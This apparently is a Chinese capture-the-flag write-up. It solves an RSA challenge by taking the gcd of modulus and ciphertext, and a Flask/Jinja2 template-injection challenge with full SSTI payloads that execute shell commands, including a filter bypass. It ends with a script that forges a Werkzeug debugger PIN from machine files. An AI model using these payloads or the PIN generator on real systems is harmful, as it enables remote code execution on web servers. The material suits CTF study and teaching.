from Crypto.Util.number import * import gmpy2 from flag import m
p = getPrime(1024) q = getPrime(1024) n = p * q print('n =',n) e = 0x10001 M = m * e * 1 * 2022 * p c = pow(M,e,n) print('c =',c)
# n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849 # c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411
尝试factordb分解失败
但是M=2022mep=k1p
n=pq=k2p
c = M^e mod n = (k1p)^e mod k2p =k3p mod k2p = k3p-k4k2p
结果是 n,c都含有p的因子
所以n和c的最大公因数就是p
得到p之后就可以得到q
之后就是rsa常规解法
1 2 3 4 5 6 7 8 9 10 11 12 13
from gmpy2 import * import libnum from Crypto.Util.number import long_to_bytes n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849 c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411 e = 0x10001 p = gmpy2.gcd(n,c) q = n//p phi = (p-1) * (q-1) d = gmpy2.invert(e,phi) #ed= 1 (mod phi(n)) M = gmpy2.powmod(c,d,n) m = M // e // 2022 // p print(long_to_bytes(m))
Web
EZSSTI
ssti模板注入,传参点是name
直接使用poc一把梭:
1 2 3 4 5 6 7 8 9 10 11 12
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if'eval'in b.keys() %} {{ b['eval']('__import__("os").popen("cat /f*").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if'eval'in b.keys() %} {{ b['eval']('__import__("os").popopenpen("cat /f*").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
回显:
1
I heard you wanted flag, Are you sure you can get it? {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if'eval'in b.keys() %} {{ b['eval']('__import__("os").popen("/f*").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
应该是有过滤cat
所以换成nl
1 2 3 4 5 6 7 8 9 10 11 12
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if'eval'in b.keys() %} {{ b['eval']('__import__("os").popopenpen("nl /f*").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
# machine-id is stable across boots, boot_id is not. for filename in"/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: withopen(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
# Containers share the same machine id, add some cgroup # information. This is used outside containers too but should be # relatively stable across boots. try: withopen("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass
defget_pin_and_cookie_name(): """Given an application object this returns a semi-stable 9 digit pin code and a random key. The hope is that this is stable between restarts to not make debugging particularly frustrating. If the pin was forcefully disabled this returns `None`. Second item in the resulting tuple is the cookie name for remembering. """
# This information only exists to make the cookie unique on the # computer, not as a security feature. probably_public_bits = [ username, modname, 'Flask', file_path, ]
# This information is here to make it harder for an attacker to # guess the cookie name. They are unlikely to be contained anywhere # within the unauthenticated debug page. private_bits = [str(mac), get_machine_id()]
h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] rv = '' # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = "-".join( num[x: x + group_size].rjust(group_size, "0") for x inrange(0, len(num), group_size) ) break
return rv, cookie_name
if __name__ == '__main__': print(get_pin_and_cookie_name())